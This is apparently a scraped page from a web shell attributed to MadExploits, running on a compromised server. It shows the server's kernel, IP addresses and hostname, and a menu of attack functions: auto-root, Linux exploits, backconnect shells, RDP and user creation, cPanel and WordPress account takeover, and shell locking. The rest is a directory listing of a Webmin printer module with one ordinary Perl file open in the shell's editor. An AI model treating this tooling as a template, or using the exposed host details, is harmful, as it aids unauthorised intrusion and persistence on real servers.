Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.3
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
lpadmin /
[ HOME SHELL ]
Name
Size
Permission
Action
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
1.16
KB
-rw-r--r--
acl_security.pl
4.4
KB
-rwxr-xr-x
aix-lib.pl
9.45
KB
-rwxr-xr-x
ascii.txt
4.19
KB
-rw-r--r--
base_coas_driver
560
B
-rwxr-xr-x
bw.fig
2.75
KB
-rw-r--r--
bw.ps
6.46
KB
-rw-r--r--
caldera-driver.pl
12.31
KB
-rwxr-xr-x
cancel_all.cgi
535
B
-rwxr-xr-x
catalog.devices
12.34
KB
-rw-r--r--
cgi_args.pl
284
B
-rwxr-xr-x
cluster.cgi
2.06
KB
-rwxr-xr-x
cluster_add.cgi
2.13
KB
-rwxr-xr-x
cluster_delete.cgi
529
B
-rwxr-xr-x
colour.fig
2.91
KB
-rw-r--r--
colour.ps
6.63
KB
-rw-r--r--
config-AlmaLinux-7.0-ALL
323
B
-rw-r--r--
config-Amazon-Linux-2-ALL
323
B
-rw-r--r--
config-CentOS-Linux-7.0-ALL
323
B
-rw-r--r--
config-CentOS-Stream-Linux-8.0...
323
B
-rw-r--r--
config-Oracle-Linux-8.0-ALL
323
B
-rw-r--r--
config-Redhat-Enterprise-Linux...
323
B
-rw-r--r--
config-Rocky-Linux-7.0-ALL
323
B
-rw-r--r--
config-Scientific-Linux-7.0-AL...
323
B
-rw-r--r--
config-aix
281
B
-rw-r--r--
config-coherent-linux
323
B
-rw-r--r--
config-corel-linux
228
B
-rw-r--r--
config-debian-linux
228
B
-rw-r--r--
config-debian-linux-3.1-3.9
327
B
-rw-r--r--
config-debian-linux-4.0-ALL
333
B
-rw-r--r--
config-freebsd
230
B
-rw-r--r--
config-generic-linux
228
B
-rw-r--r--
config-gentoo-linux
248
B
-rw-r--r--
config-hpux
323
B
-rw-r--r--
config-irix
213
B
-rw-r--r--
config-macos
230
B
-rw-r--r--
config-mandrake-linux
245
B
-rw-r--r--
config-mandrake-linux-8.0-ALL
276
B
-rw-r--r--
config-msc-linux
228
B
-rw-r--r--
config-netbsd
230
B
-rw-r--r--
config-open-linux
309
B
-rw-r--r--
config-open-linux-3.1e
239
B
-rw-r--r--
config-openSUSE-Linux-15.0-ALL
318
B
-rw-r--r--
config-openbsd
230
B
-rw-r--r--
config-openmamba-linux
229
B
-rw-r--r--
config-pardus-linux
228
B
-rw-r--r--
config-redhat-linux
228
B
-rw-r--r--
config-redhat-linux-24.0-ALL
339
B
-rw-r--r--
config-redhat-linux-7.0
283
B
-rw-r--r--
config-redhat-linux-7.1
286
B
-rw-r--r--
config-redhat-linux-7.2-8.1
394
B
-rw-r--r--
config-redhat-linux-9.0-23.0
337
B
-rw-r--r--
config-slackware-linux
228
B
-rw-r--r--
config-slackware-linux-8.1-ALL
246
B
-rw-r--r--
config-solaris
304
B
-rw-r--r--
config-solaris-10-ALL
330
B
-rw-r--r--
config-solaris-9
296
B
-rw-r--r--
config-suse-linux
226
B
-rw-r--r--
config-suse-linux-8.2-ALL
322
B
-rw-r--r--
config-trustix-linux
313
B
-rw-r--r--
config-turbo-linux
228
B
-rw-r--r--
config-united-linux
322
B
-rw-r--r--
config-unixware
302
B
-rw-r--r--
config.info
1.31
KB
-rw-r--r--
config.info.ca
1.53
KB
-rw-r--r--
config.info.cs
1.25
KB
-rw-r--r--
config.info.de
1.43
KB
-rw-r--r--
config.info.es
1.17
KB
-rw-r--r--
config.info.fr
1.63
KB
-rw-r--r--
config.info.hu
707
B
-rw-r--r--
config.info.ja
823
B
-rw-r--r--
config.info.nl
1.41
KB
-rw-r--r--
config.info.no
1.37
KB
-rw-r--r--
config.info.pl
1.45
KB
-rw-r--r--
config.info.pt_BR
1.58
KB
-rw-r--r--
config.info.ru
1.74
KB
-rw-r--r--
config.info.sv
651
B
-rw-r--r--
config.info.tr
1.39
KB
-rw-r--r--
config.info.uk
1.81
KB
-rw-r--r--
config.info.zh
573
B
-rw-r--r--
config.info.zh_TW
539
B
-rw-r--r--
cups-driver.pl
6.37
KB
-rwxr-xr-x
cups-lib.pl
8.67
KB
-rwxr-xr-x
defaultacl
73
B
-rw-r--r--
delete_printer.cgi
690
B
-rwxr-xr-x
delete_printers.cgi
839
B
-rwxr-xr-x
drivers
18.34
KB
-rw-r--r--
edit_printer.cgi
10.08
KB
-rwxr-xr-x
freebsd-lib.pl
7.26
KB
-rwxr-xr-x
hpux-driver.pl
3.13
KB
-rwxr-xr-x
hpux-lib.pl
9.83
KB
-rwxr-xr-x
index.cgi
5.83
KB
-rwxr-xr-x
irix-driver.pl
3.13
KB
-rwxr-xr-x
irix-lib.pl
10.68
KB
-rwxr-xr-x
linux-lib.pl
8.97
KB
-rwxr-xr-x
list_jobs.cgi
2.25
KB
-rwxr-xr-x
log_parser.pl
1021
B
-rwxr-xr-x
lpadmin-lib.pl
19.89
KB
-rwxr-xr-x
lprng-lib.pl
10.26
KB
-rwxr-xr-x
module.info
494
B
-rw-r--r--
module.info.af
0
B
-rw-r--r--
module.info.af.auto
159
B
-rw-r--r--
module.info.ar
0
B
-rw-r--r--
module.info.ar.auto
223
B
-rw-r--r--
module.info.be
0
B
-rw-r--r--
module.info.be.auto
290
B
-rw-r--r--
module.info.bg
0
B
-rw-r--r--
module.info.bg.auto
306
B
-rw-r--r--
module.info.ca
167
B
-rw-r--r--
module.info.ca.auto
16
B
-rw-r--r--
module.info.cs
31
B
-rw-r--r--
module.info.cs.auto
155
B
-rw-r--r--
module.info.da
0
B
-rw-r--r--
module.info.da.auto
168
B
-rw-r--r--
module.info.de
148
B
-rw-r--r--
module.info.de.auto
16
B
-rw-r--r--
module.info.el
0
B
-rw-r--r--
module.info.el.auto
362
B
-rw-r--r--
module.info.es
38
B
-rw-r--r--
module.info.es.auto
157
B
-rw-r--r--
module.info.eu
0
B
-rw-r--r--
module.info.eu.auto
217
B
-rw-r--r--
module.info.fa
0
B
-rw-r--r--
module.info.fa.auto
246
B
-rw-r--r--
module.info.fi
0
B
-rw-r--r--
module.info.fi.auto
168
B
-rw-r--r--
module.info.fr
39
B
-rw-r--r--
module.info.fr.auto
176
B
-rw-r--r--
module.info.he
0
B
-rw-r--r--
module.info.he.auto
205
B
-rw-r--r--
module.info.hr
0
B
-rw-r--r--
module.info.hr.auto
188
B
-rw-r--r--
module.info.hu
19
B
-rw-r--r--
module.info.hu.auto
173
B
-rw-r--r--
module.info.it
0
B
-rw-r--r--
module.info.it.auto
177
B
-rw-r--r--
module.info.ja
27
B
-rw-r--r--
module.info.ja.auto
213
B
-rw-r--r--
module.info.ko
25
B
-rw-r--r--
module.info.ko.auto
176
B
-rw-r--r--
module.info.lt
0
B
-rw-r--r--
module.info.lt.auto
219
B
-rw-r--r--
module.info.lv
0
B
-rw-r--r--
module.info.lv.auto
189
B
-rw-r--r--
module.info.ms
152
B
-rw-r--r--
module.info.ms.auto
16
B
-rw-r--r--
module.info.mt
0
B
-rw-r--r--
module.info.mt.auto
196
B
-rw-r--r--
module.info.nl
33
B
-rw-r--r--
module.info.nl.auto
133
B
-rw-r--r--
module.info.no
31
B
-rw-r--r--
module.info.no.auto
137
B
-rw-r--r--
module.info.pl
160
B
-rw-r--r--
module.info.pl.auto
16
B
-rw-r--r--
module.info.pt
39
B
-rw-r--r--
module.info.pt.auto
149
B
-rw-r--r--
module.info.pt_BR
42
B
-rw-r--r--
module.info.pt_BR.auto
155
B
-rw-r--r--
module.info.ro
0
B
-rw-r--r--
module.info.ro.auto
199
B
-rw-r--r--
module.info.ru
25
B
-rw-r--r--
module.info.ru.auto
245
B
-rw-r--r--
module.info.sk
0
B
-rw-r--r--
module.info.sk.auto
184
B
-rw-r--r--
module.info.sl
0
B
-rw-r--r--
module.info.sl.auto
192
B
-rw-r--r--
module.info.sv
30
B
-rw-r--r--
module.info.sv.auto
141
B
-rw-r--r--
module.info.th
0
B
-rw-r--r--
module.info.th.auto
393
B
-rw-r--r--
module.info.tr
27
B
-rw-r--r--
module.info.tr.auto
166
B
-rw-r--r--
module.info.uk
0
B
-rw-r--r--
module.info.uk.auto
281
B
-rw-r--r--
module.info.ur
0
B
-rw-r--r--
module.info.ur.auto
304
B
-rw-r--r--
module.info.vi
0
B
-rw-r--r--
module.info.vi.auto
189
B
-rw-r--r--
module.info.zh
24
B
-rw-r--r--
module.info.zh.auto
136
B
-rw-r--r--
module.info.zh_TW
30
B
-rw-r--r--
module.info.zh_TW.auto
142
B
-rw-r--r--
old-caldera-driver.pl
9.74
KB
-rwxr-xr-x
openbsd-lib.pl
7.26
KB
-rwxr-xr-x
prefs.info
40
B
-rw-r--r--
printconf-driver.pl
9.52
KB
-rwxr-xr-x
rbac-mapping
248
B
-rw-r--r--
redhat-driver.pl
12.42
KB
-rwxr-xr-x
restart.cgi
301
B
-rwxr-xr-x
save_printer.cgi
5.85
KB
-rwxr-xr-x
solaris-driver.pl
4.03
KB
-rwxr-xr-x
solaris-lib.pl
12.17
KB
-rwxr-xr-x
sortdrivers-by-drv.pl
222
B
-rwxr-xr-x
sortdrivers.pl
242
B
-rwxr-xr-x
start.cgi
377
B
-rwxr-xr-x
stop.cgi
374
B
-rwxr-xr-x
stp
2.45
KB
-rw-r--r--
suse-driver.pl
10.62
KB
-rwxr-xr-x
test_form.cgi
887
B
-rwxr-xr-x
test_print.cgi
1.19
KB
-rwxr-xr-x
unixware-lib.pl
7.81
KB
-rwxr-xr-x
view_job.cgi
909
B
-rwxr-xr-x
webmin-driver.pl
1.04
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : hpux-lib.pl
# hpux-lib.pl # Functions for hpux-style printer management $hpux_iface_path = "/usr/spool/lp/interface"; # list_printers() # Returns an array of known printer names sub list_printers { local(@rv, $_); open(STAT, "lpstat -p |"); while(<STAT>) { if (/^printer\s+(\S+)/) { push(@rv, $1); } } close(STAT); # make models executable &system_logged("chmod 755 $config{'model_path'}/* >/dev/null 2>&1"); return &unique(@rv); } # get_printer(name, [nostatus]) # Returns a reference to an associative array of printer details sub get_printer { local($stat, @rv, $body1, $body2, $avl, $con, $sys, %prn, $_, $out); local $esc = quotemeta($_[0]); $out = &backquote_command("lpstat -p$esc", 1); if ($out =~ /^printer\s+(\S+)\s+(.*)\n(.*)\n(.*)$/) { # printer exists $prn{'name'} = $1; if ($2 =~ /enabled/) {$prn{'enabled'} = "enabled"}; $body1 = $3; $body2 = $4; } else { # no printer found return undef; } # Interface $prn{'iface'} = "$hpux_iface_path/$prn{'name'}"; # Description local $wdrv = &is_windows_driver($prn{'iface'}); local $hdrv = &is_hpnp_driver($prn{'iface'}); $prn{'desc'} = $wdrv ? &grep_interface($wdrv->{'program'}) : $hdrv ? &grep_interface($hdrv->{'program'}) : &grep_interface($prn{'iface'}); # printer enabled? if (!$prn{'enabled'} && $body1 =~ /^\s+(.*)/) { $prn{'enabled_why'} = $1 eq "reason unknown" ? "" : $1; } if (!$_[1]) { # request availability $avl = &backquote_command("lpstat -a$esc 2>&1", 1); if ($avl =~ /^\S+\s+not accepting.*\n\s+(.*)/) { $prn{'accepting'} = 0; $prn{'accepting_why'} = $1; if ($prn{'accepting_why'} eq "reason unknown") { $prn{'accepting_why'} = ""; } } else { $prn{'accepting'} = 1; } } # request connection $con = &backquote_command("lpstat -v$esc 2>&1", 1); if ($con =~ /^device for \S+:\s+(\S+)\n\s+(remote to:)\s+(\S+)\s+(on)\s+(\S+)/) { $prn{'rhost'} = $5; $prn{'rqueue'} = $3; } elsif ($con =~ /^device for \S+:\s+(\S+)/) { $prn{'dev'} = $1; } # Check if this is the default printer if (&backquote_command("lpstat -d 2>&1", 1) =~ /: (\S+)/ && $1 eq $prn{'name'}) { $prn{'default'} = 1; } return \%prn; } sub get_jobs { local $esc = quotemeta($_[0]); open(STAT, "lpstat -o$esc |"); local($id, $user, $prio, $when, $printing); while(<STAT>) { if (/^(\S+-\d+)\s+(\S+)\s+priority\s+(\S+)\s+(\S+.*\d+ \d+:\d+)\s+(.*)/) { $id = $1; $user = $2; $prio = $3; $when = $4; $printing = ($5 =~ /^on /); } elsif (/^(\S+-\d+)\s+(\S+)\s+priority\s+(\S+)\s+from\s+(\S+)\s+(.*)/) { $id = $1; $user = "$2\@$4"; $prio = $3; $when = "?"; $printing = ($5 =~ /^on /); } elsif (/^(.*)\s+(\d+) bytes/) { local(%job); $job{'id'} = $id; $job{'user'} = $user; $job{'prio'} = $prio; $job{'when'} = $when; $job{'printing'} = $printing; $job{'file'} = $1; $job{'size'} = $2; push(@jobs, \%job); } } close(STAT); return @jobs; } # grep_interface($iface) # try to find a description in the interface/model sub grep_interface { local($iface, $desc, $out); $iface = $_[0]; local $drv = &is_driver($iface); if ($drv->{'mode'} == 1) { $desc = $drv->{'desc'}; } elsif ($drv->{'mode'} == 2) { $out = &backquote_command("head $drv->{'prog'} | grep -e interface -e Printer -e /model/", 1); if ($out =~ /interface for\s+(.*)/) { $desc = $1; } elsif ($out =~ /\s+(\S.*)interface/) { $desc = $1; } elsif ($out =~ /Printer Command Language level\s+(\S+)/) { $desc = "PCL$1"; } elsif ($out =~ /\/model\/(\S+).*/) { $desc = $1; } elsif ($out =~ /^#\s+(.*)/) { $desc = $1; } else { $desc = "None"; } } else { $desc = "None"; } return $desc; } # printer_support(option) sub printer_support { return $_[0] !~ /^(allow|alias|ctype|banner|desc|editdest|msize|direct|rnoqueue|ipp)$/; } # list_classes() # Returns an associative array of print classes sub list_classes { local($stat, %rv); $stat = &backquote_command("lpstat -c 2>&1", 1); while($stat =~ /^members of class (\S+):\n((\s+\S+\n)+)([\000-\377]*)$/) { $stat = $4; $rv{$1} = [ grep { $_ ne "" } split(/\s+/, $2) ]; } return \%rv; } # create_printer(&details) # Create a new printer sub create_printer { local(%prn, $cmd, $out, $model, $dummy, $scheduler); %prn = %{$_[0]}; local $wdrv = &is_windows_driver($prn{'iface'}); local $hdrv = &is_hpnp_driver($prn{'iface'}); $scheduler = &sched_running(); $dummy = "webmin.tmp"; &system_logged("touch $config{'model_path'}/$dummy"); # create lpadmin command local $esc = quotemeta($prn{'name'}); $cmd = "lpadmin -p$esc"; ## remote unix printer if ($prn{'rhost'}) { if ($prn{'iface'}) { &error("lpadmin failed : <pre>No model allowed for remote unix printer.</pre>"); } $cmd .= " -orm".quotemeta($prn{'rhost'}); $cmd .= " -orp".quotemeta($prn{'rqueue'}); $cmd .= " -mrmodel"; $cmd .= " -ocmrcmodel"; $cmd .= " -osmrsmodel"; $cmd .= " -v/dev/null"; $cmd .= " -orc"; if ($prn{'rtype'} =~ /^BSD$/) { $cmd .= " -ob3"; } } ## remote windows printer elsif ($wdrv) { $cmd .= " -m$dummy"; $cmd .= " -v/dev/null"; $cmd .= " -g0"; } ## remote HPNP printer elsif ($hdrv) { $cmd .= " -m$dummy"; $cmd .= " -v/dev/null"; $cmd .= " -g0"; } ## local printer with webmin driver elsif ($prn{'iface'} eq "$drivers_directory/$prn{'name'}") { $cmd .= " -m$dummy"; $cmd .= " -v".quotemeta($prn{'dev'}); $cmd .= " -g0"; } ## local printer with HP-UX model elsif ($prn{'iface'} =~ $config{'model_path'}) { $model = substr($prn{'iface'}, length($config{'model_path'}) + 1); $cmd .= " -m$model"; $cmd .= " -v".quotemeta($prn{'dev'}); $cmd .= " -g0"; } else { &error("lpadmin failed : <pre>Action not supported.</pre>"); } # stop scheduler $out = &backquote_logged("lpshut 2>&1"); # call lpadmin $out = &backquote_logged("$cmd 2>&1"); if ($?) { &error("lpsched failed : <pre>$out</pre>"); } ## Link to windows webmin driver &lock_file("$hpux_iface_path/$prn{'name'}"); if ($wdrv) { &unlink_file("$hpux_iface_path/$prn{'name'}"); &symlink_file("$drivers_directory/$prn{'name'}.smb", "$hpux_iface_path/$prn{'name'}"); } ## Link to webmin hpnp driver if ($hdrv) { &unlink_file("$hpux_iface_path/$prn{'name'}"); &symlink_file("$drivers_directory/$prn{'name'}.hpnp", "$hpux_iface_path/$prn{'name'}"); } ## Link to webmin driver if ($prn{'iface'} eq "$drivers_directory/$prn{'name'}" && !$wdrv) { &unlink_file("$hpux_iface_path/$prn{'name'}"); &symlink_file("$drivers_directory/$prn{'name'}", "$hpux_iface_path/$prn{'name'}"); } &unlock_file("$hpux_iface_path/$prn{'name'}"); &lock_file("$config{'model_path'}/$dummy"); &unlink_file("$config{'model_path'}/$dummy"); &unlock_file("$config{'model_path'}/$dummy"); # start scheduler if ($scheduler) { $out = &backquote_logged("lpsched 2>&1"); if ($?) { &error("lpsched failed : <pre>$out</pre>"); } } &modify_printer($_[0]); } # modify_printer(&details) # Change an existing printer sub modify_printer { local(%prn, $cmd, $out); %prn = %{$_[0]}; # make the default local $esc = quotemeta($prn{'name'}); if ($prn{'default'}) { $out = &backquote_logged("lpadmin -d$esc 2>&1"); if ($?) { &error("Failed to set default : <pre>$out</pre>"); } } # enable or disable if ($prn{'enabled'}) { $cmd = "enable $esc"; } elsif ($prn{'enabled_why'}) { local $wesc = quotemeta($prn{'enabled_why'}); $cmd = "enable $esc ; disable -r$wesc $esc"; } else { $cmd = "enable $esc ; disable $esc"; } $out = &backquote_logged("$cmd 2>&1"); # accepting or rejecting requests if ($prn{'accepting'}) { $cmd = "accept $esc"; } elsif ($prn{'accepting_why'}) { local $wesc = quotemeta($prn{'accepting_why'}); $cmd = "accept $esc ; reject -r$wesc $esc"; } else { $cmd = "accept $esc ; reject $esc"; } $out = &backquote_logged("$cmd 2>&1"); } # delete_printer(name) # Deletes some existing printer sub delete_printer { local($out, $scheduler); $scheduler = &sched_running(); # delete print jobs local $esc = quotemeta($_[0]); $out = &backquote_logged("cancel $esc -a 2>1"); if ($?) { &error("cancel failed : <pre>$out</pre>"); } # stop scheduler $out = &backquote_logged("lpshut 2>&1"); # call lpadmin $out = &backquote_logged("lpadmin -x$esc 2>&1"); if ($?) { &error("lpadmin failed : <pre>$out</pre>"); } # start scheduler if ($scheduler) { $out = &backquote_logged("lpsched 2>&1"); if ($?) { &error("lpsched failed : <pre>$out</pre>"); } } } # cancel_job(printer, id) # Cancels some print job sub cancel_job { local($out); local $esc = quotemeta($_[1]); $out = &backquote_logged("cancel $esc 2>&1"); if ($?) { &error("cancel failed : <pre>$out</pre>"); } sleep(1); } # sched_running() # Returns 1 if running and 0 if not running sub sched_running { local $out = &backquote_command("lpstat -r 2>&1", 1); if ($out =~ /not/) { return 0; } else { return 1; } } # start_sched() # Start lpsched sub start_sched { local $out = &backquote_logged("lpsched 2>&1"); if ($?) { &error("failed to start lpsched : <tt>$out</tt>"); } } # stop_sched(pid) # Stop the running lpsched process sub stop_sched { local $out = &backquote_logged("lpshut 2>&1"); if ($?) { &error("lpshut failed : <tt>$out</tt>"); } } # print_command(printer, file) # Returns the command to print some file on some printer sub print_command { local $esc = quotemeta($_[0]); local $iesc = quotemeta($_[1]); return "lp -d $esc $iesc"; } # check_print_system() sub check_print_system { &has_command("lpstat") || return &text('hpux_ecmd', "<tt>lpstat</tt>"); -d $hpux_iface_path || return &text('hpux_eiface',"<tt>$hpux_iface_path</tt>"); return undef; } @device_files = ("/dev/c1t0d0_lp", "/dev/c2t0d0_lp", "/dev/c0p0_lp", "/dev/c0p1_lp", "/dev/c0p2_lp", "/dev/c0p3_lp", "/dev/c0p4_lp", "/dev/c0p4_lp", "/dev/c0p5_lp", "/dev/c0p5_lp", "/dev/c1p0_lp", "/dev/null"); @device_names = (&text('hpux_paralel', "c1t0d0"), &text('hpux_paralel', "c2t0d0"), &text('hpux_serial', "c0p0"), &text('hpux_serial', "c0p1"), &text('hpux_serial', "c0p2"), &text('hpux_serial', "c0p3"), &text('hpux_serial', "c0p4"), &text('hpux_serial', "c0p5"), &text('hpux_serial', "c0p6"), &text('hpux_serial', "c0p7"), &text('hpux_serial', "c1p0"), $text{'hpux_null'});
Close